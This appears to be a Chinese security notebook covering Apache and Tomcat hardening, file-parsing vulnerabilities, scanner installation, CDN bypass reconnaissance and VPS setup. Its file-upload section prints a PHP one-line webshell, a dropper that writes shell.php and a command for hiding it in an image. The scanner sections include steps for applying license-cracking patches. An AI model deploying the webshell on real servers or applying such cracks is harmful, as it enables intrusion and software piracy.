      Require all granted
      RewriteEngine on
      RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS)
      RewriteRule .* - [F]
  </Directory>
</VirtualHost>

限制所有目录覆盖

Apache AllowOverrideALL则网站根目录下所有项目即可读取到.htaccess文件(分布式配置文件),该文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。AllowOverrideNone.htaccess文件无法被读取,其配置无法生效。

1.AllowOverride即允许覆盖,当AllowOverride ALL,则.htaccess配置指令生效并覆盖掉原有Apache配置指令
2.AllowOverride ALL弊端:Apache在每个目录中查找.htaccess文件会导致性能的下降。通过.htaccess文件修改apache的配置,若由于配置不当会导致不必要的安全问题

加固方法:
Apache配置文件中的中应设置:AllowOverride None

image

删除默认/缺省CGI内容/manual手册文件

Web服务器常包含不需要或不适合线上生产环境所使用的默认CGI内容。示例程序/CGI内容的主要作用是展示Web服务器的功能。Apache安装中常见的默认CGI内容是脚本test-cgi。该脚本将打印请求者的CGI环境变量,其中包括服务器配置细节。

加固方法:
a.通过ScriptScriptAliasScriptAliasMatchScriptInterpreterSource 指令找到在Apache配置中启用的cgi-bin文件和目录

image

b.删除cgi-bin目录中的printenv默认CGI

image

c.删除默认安装的Apache手册文件

image

禁用CGI/禁用SSI

如果服务器上不需要运行CGI/SSI程序,建议禁用CGI/SSI(Server Side Includes)
加固方法:
禁用CGI
修改Apache配置文件httpd.conf,把相关配置和模块都注释掉

#LoadModule cgi_module modules/mod_cgi.so
#ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
#<Directory "/var/www/cgi-bin">
#    AllowOverride None
#    Options None 
#    Order allow,deny
#    Allow from all
#</Directory>

禁用SSI
修改Apache配置文件httpd.conf,把相关模块注释掉,在“Include”前面添加减号

#LoadModule include_module modules/mod_include.so
<Directory "/var/www/html">
    Options Indexes FollowSymLinks -Includes
    AllowOverride None
    Order allow,deny
    allow from all
</Directory>

自定义Apache返回的错误页面

配置特定的错误页面可防止不必要的信息泄露

加固方法:
image

短信轰炸漏洞

修复建议:

  • 增加图形验证: 采用图片验证码可有效防止工具自动化调用,即当用户进行“获取动态短信” 操作前,弹出图片验证码,要求用户输入验证码后,服务器端再发送动态短信到用户手机上,该方法可有效解决短信轰炸问题。
  • 单IP请求次数限制: 建议在服务器端限制单个 IP 在单位时间内的请求次数,一旦用户请求次数(包括失败请求次数)超出设定的阈值,则暂停对该 IP 一段时间的请求
  • 应在服务端对短信验证码的间隔时间进行设置,一般可设置为60秒发送一次

完整的动态短信验证码使用流程可参考下图:

短信

OWASP TOP 10

OWASP TOP 10 2013版与2017版对比
image

OWASP TOP 10 应用安全风险详解
image

思维导图
image

SQL注入

概述

SQL注入(SQL injection)是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

原理

分类

注入过程

注入点

注入点

危害

防御

参考链接

https://websec.ca/kb/sql_injection
https://clancyb00m.github.io/2019/01/06/SQL%E6%B3%A8%E5%85%A5/

Tomcat安全配置

为不同的管理员分配不同的账号

应按照用户分配账号,避免不同用户间共享账号导致账号混淆,权限不明确,存在用户越权使用的可能,提高安全性

安全加固
修改 tomcat/conf/tomcat-users.xml 配置文件,修改或添加帐号: <user username="tomcat" password="tomcat" roles="tomcat"/>

image

删除或锁定无效账号

删除或锁定无效的账号,避免非法利用系统默认账号,减少系统安全隐患。

安全加固
查看 tomcat/conf/tomcat-users.xml 配置文件,确认是否开启/使用系统默认账号,并与管理员进行确认后,修改配置文件,删除与工作无关的帐号(运行、维护、开发)

image

账号密码复杂度设置

加强密码复杂度,建议设置口令长度至少 8 位,密码中最好包括大写英文字母,小写英文字母,数字,特殊符号中的三项。测试密码强度:http://password.mx500.com/

安全加固
修改 tomcat/conf/tomcat-users.xml 配置文件,修改账号密码

image

删除文档和示例程序

打开tomcat_home/webapps文件夹,默认存在docsexamples文件夹

image

安全加固
删除docsexamples文件夹

检查控制台口令

如果不需要使用控制台:

Tomcat 6.x/7.x:

默认通过http://ip:8080/manager/html可以访问tomcat manager,如果不需要使用,建议删除tomcat_home/webapps/managerhost-manager文件夹;

image

Tomcat 5.x:

默认通过http://ip:8080/admin可以访问tomcat admin,如果不需要使用,建议删除tomcat_home/webapps/admin文件夹

如果需要使用tomcat manager

Tomcat 5.x/6.x:

打开tomcat_home/conf/tomcat-users.xml,查看用户密码复杂度,例如:

<role rolename="manager"/>
<user username="tomcat" password="复杂的口令" roles="manager"/>
Tomcat 7.x:

打开tomcat_home/conf/tomcat-users.xml,查看用户密码复杂度,例如:

<role rolename="manager-gui"/>
<user username="tomcat" password="复杂的口令" roles="manager-gui"/>

image

安全加固
1.删除tomcat_home/webapps下对应的文件夹
2.在tomcat-users.xml中为所有用户设置复杂的密码

设置SHUTDOWN字符串

防止恶意用户telnet8005端口后,发送SHUTDOWN命令停止tomcat服务

安全加固
设置复杂的字符串,防止恶意用户猜测。打开tomcat_home/conf/server.xml,查看是否设置了复杂的字符串<Server port="8005" shutdown="复杂的字符串">

image

设置运行身份

以tomcat用户运行服务,增强安全性

安全加固
查看tomcat的启动脚本或服务,确认是否以tomcat身份运行

Unix系统:

  1. 创建apache组:groupadd tomcat
  2. 创建apache用户并加入apache组:useradd tomcat –g tomcat
  3. 以tomcat身份启动服务

Windows系统:

  1. 新建一个tomcat用户
  2. 设置tomcat用户对tomcat_home的相关权限
  3. 在服务管理器 (service.msc) 中找到tomcat服务,右键选择属性,设置登录身份为tomcat用户

tomcat

禁止列目录/文件

防止直接访问目录时由于找不到默认主页而列出目录下所有文件

安全加固
打开应用程序的web.xml,查看listings是否设置为false

<param-name>listings</param-name>
<param-value>false</param-value>

image

日志审核

tomcat的日志信息默认存放在tomcat_home/logs中,访问日志默认未开启
安全加固
如果tomcat前端有Apache,Apache可以记录访问日志。如果tomcat独立运行,可以开启tomcat访问日志,修改tomcat_home/conf/server.xml,取消注释:

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"  
prefix="localhost_access_log." suffix=".txt" pattern="common" resolveHosts="false"/>

启用access_log后,重启tomcat,在tomcat_home/logs中可以看到访问日志

image

自定义错误信息

自定义Tomcat返回的错误信息
安全加固
修改应用程序的web.xml,在最后</web-app>一行之前加入以下内容
1.表示出现404未找到网页的错误时显示404.html页面

<error-page> 
<error-code>404</error-code>
<location>/404.html</location> 
</error-page>

建议自定义403,404,500错误的页面

2.表示出现java.lang.NullPointerException错误时显示error.jsp页面

<error-page>
<exception-type>java.lang.NullPointerException</exception-type>
<location>/error.jsp</location> 
</error-page>

禁用非法HTTP方法

禁用PUTDELETE 等危险的HTTP 方法
安全加固
web.xml 文件中添加配置 ,将readonlyparam-value值设为false

<init-param> 
<param-name>readonly</param-name> 
<param-value>false</param-value> 
</init-param>

image
image

系统Banner信息

telnet判断信息

telnet ip 8080
HEAD / HTTP1.1然后两次回车,可以看到server的信息
telnet

http请求错误信息

http_error

安全加固

隐藏telnet判断信息

修改server.xml文件,修改以下配置并在末尾添加需要修改的类型,例如IIS,保存并重启tomcat服务:

<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" server=”IIS”/>

image
IIS

隐藏http请求错误信息

修改catalina.jarcatalina.jar\org\apache\catalina\util \Serverinfo.properties文件的以下参数,保存并重启tomcat服务:
server.build=IIS
server.number=6

image
jar
status

更改tomcat服务器默认端口

更改 tomcat 服务器默认端口,增加系统安全性
安全加固
image

登陆超时/连接数设置

根据机器性能和业务需求,设置最大最小连接数及登陆超时限制
安全加固
编辑server.xml 文件,样例如下:

<Connector port="8080"   
      maxThreads="150"     
      minSpareThreads="25"     
      maxSpareThreads="75"   
      acceptCount="100"
      connectionTimeout="20000"/>  

maxThreads="150" 表示最多同时处理150 个连接
minSpareThreads="25" 表示最少的空线程等待数量
maxSpareThreads="75" 表示如果最多可以空 75个线程
acceptCount="100" 当同时连接的人数达到maxThreads时,还可以接收排队的连接,超过这个连接的则直接返回拒绝连接

文件解析/文件包含/文件上传

IIS5.X/6.0

目录解析:/xxx.asp/xxx.jpg

网站下建立文件夹的名称中带有aspasacercdx等可执行脚本文件后缀的文件夹,IIS6.0会将xxx.jpg当做xxx.asp解析并执行

该目录内的任何扩展名的文件都将被IIS6.0当作可执行文件来解析并执行

后缀解析:/xx.asp;.jpg

在IIS6.0下,;后面的文件扩展名不被解析,则xxx.asp;.jpg将被当做xxx.asp解析并执行

默认解析:/xxx.asa/xxx.cer/xxx.cdx

IIS6.0默认的可执行文件包括:aspasacercdx,可结合目录解析/后缀解析:/xxx.asp/xxx.jpg/xxx.asa/xxx.jpg/xxx.cer/xxx.jpg/xxx.cdx/xxx.jpg/xxx.asp;.jpg/xxx.asa;.jpg/xxx.cer;.jpg/xxx.cdx;.jpg

aspasacercdx同使用一个asp.dll执行

Nginx

IIS 7.0/IIS 7.5/Nginx <8.03 PHP CGI解析漏洞

实际为PHP CGI的漏洞:Nginx作为代理将请求转发给Fast-CGI,PHP后端进行处理。当访问URL:example.com/shell.jpg/xxx.php$fastcgi_script_name会被设置为“shell.jpg/xxx.php”,然后构造成SCRIPT_FILENAME传递给Fast-CGI。当fix_pathinfo选项开启时,PHP会认为SCRIPT_FILENAMEshell.jpg,而xxx.phpPATH_INFO,故将shell.jpg作为PHP文件进行解析

image

PHP配置文件中存在cgi.fix_pathinfo=1默认是开启,当URL中有不存在的文件时,PHP就会向前递归解析

image

利用方法

方法一

www.example.com/UploadFiles/image/shell.jpg/xxx.php
www.example.com/UploadFiles/image/shell.jpg%00.php
www.example.com/UploadFiles/image/shell.jpg/%20\0.php

方法二

IIS 7.0/IIS 7.5/Nginx<8.03在默认Fast-CGI开启的情况下,上传xy.jpg,访问xy.jpg/.php,会在当前目录下生成一句话木马<?php eval($_POST[cmd])?>

将图片和写入后门代码的文本文件合并为将恶意文本写入图片的二进制代码

copy xx.jpg/b + yy.txt/a xy.jpg

后门代码的文本文件内容为:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

写入一句话木马<?php eval($_POST[cmd])?>,文件名为shell.php,密码为cmd

image

Nginx <8.03空字节代码执行漏洞

Ngnix版本 0.5.*,0.6.*,0.7<=0.7.65,0.8<=0.8.37 在处理%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码,通过在一个文件路径/xx.jpg后面加上%00.php会将/xx.jpg%00.php解析为php文件

修复方案:
1.禁止在上传文件目录下执行php,在nginx虚拟机配置或fcgi.conf配置加如下代码

if ($request_filename ~* (.*)\.php) {
    set $php_url $1;
}
if (!-e $php_url.php) {
    return 403;
}

2.升级到最新版本的nginx

Nginx 文件名逻辑漏洞(CVE-2013-4547

https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547

利用过程:

上传1.gif文件

image

抓包修改数据包,在文件名后添加空格,文件1.gif 成功上传

image

访问http://127.0.0.1:8080//uploadfiles/1.gif...php

image

修改第一个.改为20,对应ASCII码空格符,修改第二个.改为00,截止符,解析成功

image

Apache

多后缀解析:

test.php.x1.x2.x3 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析 test.php.x1.x2.x3 则会被解析为php

image

配置问题:

  • 若Apache的conf中存在配置 AddHandler php5-script .php ,则文件名只要包含.php,即使文件名为test2.php.jpg也会以php来执行
  • 若Apache的conf中存在配置 AddType application/x-httpd-php .jpg ,即使扩展名是jpg,也会以 php来执行

修复方案
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

<Files ~ “.(php.|php3.)”>
        Order Allow,Deny
        Deny from all
</Files>

2.伪静态,重写.php.*:打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so,去掉注释,重启apache,在网站根目录下建立.htaccess文件,代码如下:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

image

.htaccess(分布式配置文件)

.htaccess中写入:<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>,可使shell.jpg文件解析为php文件

.htaccess文件生效条件:
1.Apache配置文件中写入AllowOverride All
2.Apache配置文件中写入LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

异常后缀解析

语言 可解析后缀
php php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
asp/aspx asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
jsp jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

Apache配置文件中存在类似正则表达式:.+.ph(p[345]?|t|tml)

lighttpd

xx.jpg/xx.php

参考链接

https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/
https://www.smi1e.top/%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#i-10
http://gv7.me/articles/2018/make-upload-vul-fuzz-dic/

Acunetix-website-security-scanner

Linux AWVS_12.0.190325161

安装依赖

sudo apt-get install libxdamage1 libgtk-3-0 libasound2 libnss3 libxss1 libx11-xcb-dev

官网下载

AWVS-Linux

修改权限,运行

chmod 777 acunetix_trial.sh
sudo ./acunetix_trial.sh

阅读协议,设置主机,邮箱,密码

image

修改端口,重启

默认端口:13443

vi /home/acunetix/.acunetix_trial/wvs.ini
sudo systemctl restart acunetix_trial.service

image

查看

https://host_ip_address:port

image

破解补丁安装

将破解补丁复制到路径/home/acunetix/.acunetix_trial/版本/scanner/

image

unzip patch_awvs.zip
sudo ./patch_awvs

破解成功

< xs3c.co >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *
Crack by bigchan.Tested on v_190325161.
Usage: Copy me to the scanner folder and run as root.

Check environment.
Generating license.
Patch executable.
Jobs done, there you go.

image

license保持

chattr +i /home/acunetix/.acunetix_trial/data/license/license_info.json

AWVS卸载

userdel -r acunetix
/home/acunetix/.acunetix_trial/uninstall.sh

参考链接

https://xs3c.co/archives/643

Windows AWVS 12.0.190902105

下载AWVS 12.0.190902105,解压

image

安装运行

运行acunetix_12.0.190902105.exe

image

image

Next

image

接受协议,Next

image

输入邮箱、密码、验证密码,Next

image

填写服务端口,勾选是否允许远程访问Acunetix,Next

image

勾选是否创建桌面快捷方式,Next

image

Install

image

image

Finish,安装完成,关闭AWVS Web弹窗

破解

将文件patch.exepatch.dat,移动至安装目录C:\Program Files (x86)\Acunetix\12.0.190902105

image

运行patch.exe,填写相关信息

image

启动服务

image

运行AWVS

image
image
image

参考链接

http://t.cn/AimEyPIE
https://github.com/coco413/AWVS12_Docker

绕过CDN/云WAF/堡垒机,获取真实IP地址

判断是否部署CDN/云WAF/堡垒机

Nslookup

返回域名解析对应多个 IP 地址,网站可能部署CDN业务
image

Ping

http://ping.chinaz.com/
https://tools.ipip.net/ping.php
https://ping.aizhan.com/
http://tools.fastweb.com.cn/Index/Ping

多地Ping结果不唯一,网站可能部署CDN业务
image

第三方工具/网站

https://tools.ipip.net
https://www.cdnplanet.com/tools/cdnfinder/

如何获取真实IP地址

子域名

若目标站点/主站部署CDN,子域名未部署CDN。本地将主站/目标站点域名与未部署CDN子域名解析IP绑定(修改host文件:C:\Windows\System32\drivers\etc\hosts)。若能访问说明目标站点与此二级域名在同一服务器,如果两者不在同一服务器也可能在同C段,扫描C段所有开80端口的ip。
image

http://phpinfo.me/domain/
http://tool.chinaz.com/subdomain/
https://github.com/lijiejie/subDomainsBrute
Layer子域名挖掘机/GoogleHacking

image
image
image
image

查看域名/DNS历史解析记录

查询ip与域名绑定历史记录

http://viewdns.info/

image

https://x.threatbook.cn/

image

http://toolbar.netcraft.com/site_report?url=

image

http://www.ip138.com/

image

https://securitytrails.com/

image

https://dnsdb.io/zh-cn/

image

http://www.17ce.com/

相关工具:
dnsenum
bypass-firewalls-by-DNS-history

MX记录/邮件

收取目标站点邮件:注册账号/找回密码/RSS订阅
image
image

国外Nslookup/Ping

CDN提供商往往只针对国内市场,而对国外市场几乎不做CDN,所以有几率会直接解析到真实IP。

nslookup http://www.example.com(目标站点) xxx.xxx.xxx.xxx( 国外冷门DNS)
全球Ping:https://asm.ca.com/zh_cn/

网站漏洞/DDoS/社工CDN服务商

phpinfo信息泄露

image

SSRF

XSS

文件上传

DDoS

网络空间引擎搜索/HTTPS证书探测

通过探测https证书443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.xxx.com443.https.tls.chain.parsed.names

image
image

https://censys.io/
https://www.shodan.io/
https://fofa.so/
https://www.zoomeye.org/

Zmap/Zgrab

获取IP段

https://www.ip2location.com/free/visitor-blocker

image

ftp://ftp.apnic.net/public/apnic/stats/apnic/delegated-apnic-latest

image

http://www.ipdeny.com/ipblocks/

image

实施步骤教程

利用 Zmap
http://0535code.com/article/20170217_1688.shtml
http://bobao.360.cn/learning/detail/211.html
利用 Zgrab
https://www.t00ls.net/articles-40631.html
https://levyhsu.com/?p=183

F5 LTM 负载均衡解码获取真实内网ip

https://threathunter.org/topic/5940c85d9c58e020408a79fe

Nessus Pro

Ubuntu

Nessus

image

文件上传

image

安装

sudo dpkg -i Nessus-8.5.2-ubuntu1110_amd64.deb

image

初始化扫描器

启动服务:service nessusd start
浏览器访问:https://127.0.0.1:8834/

Managed Scanner

image

Tenable.sc

image
image

创建用户名密码

image

插件加载

image

插件离线包下载

获取Challenge code

/opt/nessus/sbin/nessuscli fetch --challenge

image

获取Active code

浏览器访问:http://www.tenable.com/products/nessus-home
First Name 、Last Name 随意输入 ,Email 输入可以接受邮件信息的邮箱

image

输入Challenge code和Active code

登录https://plugins.nessus.org/offline.php

image

下载all-2.0.tar.gz文件

image

在安装目录执行all-2.0.tar.gz文件

image

cd /opt/nessus/sbin
/opt/nessus/sbin/nessuscli update all-2.0.tar.gz

image

启动服务

systemctl start nessusd.service

替换plugin_feed_info.inc文件

替换目录

/opt/nessus/lib/nessus/plugins/plugin_feed_info.inc
/opt/nessus/var/nessus/plugin_feed_info.inc

image

安装成功

image

Windows10

下载Nessus,安装

image
image

若安装过程中出现下图,说明本机已安装Npcap,即WinPcap for Windows 10

image

需卸载本机Npcap,并删除文件C:\ProgramData\TenableC:\Program Files\Tenable后,运行安装包,重新进行安装

image

安装过程中会自动安装WinPcap,安装成功

image

image

image

设置用户名密码

image

管理员启动cmd,运行nessuscli update all-2.0.tar.gz

image

image

重新启动Nessus服务

image

plugin_feed_info.inc文件替换至目录C:\ProgramData\Tenable\Nessus\nessusC:\ProgramData\Tenable\Nessus\nessus\plugins

image
image

重新启动Nessus服务,登录至Web控制台

image

image

更新离线插件集

停止Tenable Nessus服务,管理员运行CMD,输入nessuscli fetch --challenge,获取Challenge code

image

image

获取Active code,访问地址:http://www.tenable.com/products/nessus-home,First Name 、Last Name 随意输入 ,Email 输入可以接受邮件信息的邮箱

image
image

登录https://plugins.nessus.org/offline.php,输入Challenge code和Active code,下载all-2.0.tar.gz与nessus.license文件

image

下载好后,管理员启动cmd,运行nessuscli update all-2.0.tar.gz
image

参考链接:https://mp.weixin.qq.com/s?src=11&timestamp=1571415089&ver=1920&signature=ESDgoADMEhKMZy7IKQv*kz7zLypggPf6cMIZbANwXulYizTK0dtrYiimRHChpswrc2Ra0XzwKtI8oJotOWKDDnHEoE5xUDtjrL3U6pwf7wpHG1h6q7hw0bUYBadUduSb&new=1

VPN

一、VPS购买

阿里云腾讯云华为云百度云七牛云UCLOUDAWSAzureVULTR

二、SS服务器搭建

yum下载

apt-get install yum

image

执行安装shadowsocks

wget –no-check-certificate -O shadowsocks.sh https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks.sh

image

获取 shadowsocks.sh 读取权限

chmod +x shadowsocks.sh

image

设置密码、端口、加密方式

./shadowsocks.sh 2>&1 | tee shadowsocks.log

image

任意键安装执行,显示IP、PORT、PASSWORD、Encryption Method

image

三、SS客户端使用

Windows客户端

输入IP地址、端口、密码、选择对应的加密方式,右键启动,选择PAC模式即可

image

image

Android客户端

四、BBR加速上网

安装 BBR

wget --no-check-certificate https://github.com/teddysun/across/raw/master/bbr.sh

image

获取读写权限

chmod +x bbr.sh

启动BBR安装

./bbr.sh

image
image

任意键安装执行,重新启动VPS

输入lsmod | grep bbr ,显示tcp_bbr则安装成功

image

五、aria2+AriaNg搭建离线下载

Aria2安装

apt update
apt install aria2

Aria2配置

aria2c --enable-rpc --rpc-listen-all --rpc-allow-origin-all --rpc-secret=输入密码 -c --dir /root/downloads -D

搭建Apache环境

sudo apt-get install apache2

AriaNg下载安装解压

wget https://github.com/mayswind/AriaNg/releases/download/1.1.1/AriaNg-1.1.1-AllInOne.zip
cd /var/www/html
unzip AriaNg-1.1.1-AllInOne.zip

系统设置更改

浏览器访问VPS IP地址,修改AriaNG_RPC,IP、端口、密钥(aria2c所设置的密码),修改完成,Aria2状态显示已连接

image

image

六、youtube-dl+ffmpeg视频下载

youtube-dl安装

wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl
chmod a+rx /usr/local/bin/youtube-dl

验证

youtube-dl -h
youtube-dl --list-extractors

目前支持下载的网站列表

下载

方法一

选择具有视频和音频的单个文件所代表的最佳质量格式,进行下载:youtube-dl -f best https://domain/path

方法二:视频、音频分开下载

查看要下载的视频/音频存在哪些格式:youtube-dl -F https://domain/path

image

选择某一视频/音频格式,确认编号后进行下载:youtube-dl -f 编号 https://domain/path

image

结合ffmpeg可将两种格式的视频和音频合并为一个文件:

youtube-dl -f bestvideo+bestaudio https://domain/path
youtube-dl -f 136+140 https://domain/path

字幕下载

youtube-dl --write-sub https://domain/path

ffmpeg安装

方法一

apt install ffmpeg

方法二

wget http://www.ffmpeg.org/releases/ffmpeg-4.1.tar.gz
tar -zxvf ffmpeg-4.1.tar.gz
cd ffmpeg-4.1
./configure
make
make install

七、h5ai在线播放

Apache+php环境搭建

apt install apache2
apt install php
apt install libapache2-mod-php
apt install php-curl

安装 h5ai

wget https://release.larsjung.de/h5ai/h5ai-0.29.2.zip
unzip -zxvf h5ai-0.29.2.zip
cp -r _h5ai/ /var/www/html

验证

浏览器访问:http://IP_Address/_h5ai/public/index.php

初始密码为空
修改密码:_h5ai/private/conf/options.json

image

image

image

NO:表示需安装此部分环境

所需环境安装

Shell zip
Command line program zip available
apt install zip
PDF thumbsyes
Command line program convert available
apt install imagemagick
Image thumbsyes
PHP GD extension with JPEG support available

apt install php-gd
service apache2 restart

Private Cache directory
Web server has write access
Public Cache directory
Web server has write access

chmod 777 /var/www/html/_h5ai/private/cache
chmod 777 /var/www/html/_h5ai/public/cache

image

h5ai配置

默认主页:http://IP_Address/_h5ai/public/index.php

image

修改配置文件:/etc/apache2/mods-available/dir.conf,添加路径/_h5ai/public/index.php,重启Apache服务器sudo service apache2 restart

image

云计算与云计算安全

定义

云计算是通过 Internet 按需提供计算能力、数据库存储、应用程序和其他 IT 资源,采用按使用量付费的定价模式。

部署类型

公用云(Public Cloud)

简而言之,公用云服务可透过网络及第三方服务供应者,开放给客户使用,“公用”一词并不一定代表“免费”,但也可能代表免费或相当廉价,公用云并不表示用户数据可供任何人查看,公用云供应者通常会对用户实施使用访问控制机制,公用云作为解决方案,既有弹性,又具备成本效益。

私有云(Private Cloud)

私有云具备许多公用云环境的优点,例如弹性、适合提供服务,两者差别在于私有云服务中,数据与程序皆在组织内管理,且与公用云服务不同,不会受到网络带宽、安全疑虑、法规限制影响;此外,私有云服务让供应者及用户更能掌控云基础架构、改善安全与弹性,因为用户与网络都受到特殊限制。

行业云(Community Cloud)

社群云由众多利益相仿的组织掌控及使用,例如特定安全要求、共同宗旨等。社群成员共同使用云数据及应用程序。

混合云(Hybrid Cloud)

混合云结合公用云及私有云,这个模式中,用户通常将非企业关键信息外包,并在公用云上处理,但同时掌控企业关键服务及数据。

服务模式

软件即服务(SaaS)

消费者使用应用程序,但并不掌控操作系统、硬件或运作的网络基础架构。是一种服务观念的基础,软件服务供应商,以租赁的概念提供客户服务,而非购买,比较常见的模式是提供一组账号密码。例如:Microsoft CRM与Salesforce.com。

平台即服务(PaaS)

消费者使用主机操作应用程序。消费者掌控运作应用程序的环境(也拥有主机部分掌控权),但并不掌控操作系统、硬件或运作的网络基础架构。平台通常是应用程序基础架构。例如:Google App Engine。

基础设施即服务(IaaS)

消费者使用“基础计算资源”,如处理能力、存储空间、网络组件或中间件。消费者能掌控操作系统、存储空间、已部署的应用程序及网络组件(如防火墙、负载平衡器等),但并不掌控云基础架构。例如:Amazon AWS、Rackspace。

基本特征

随需应变自助服务

随时随地用任何网络设备访问

多人共享资源池

快速重新部署灵活度

可被监控与量测的服务

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.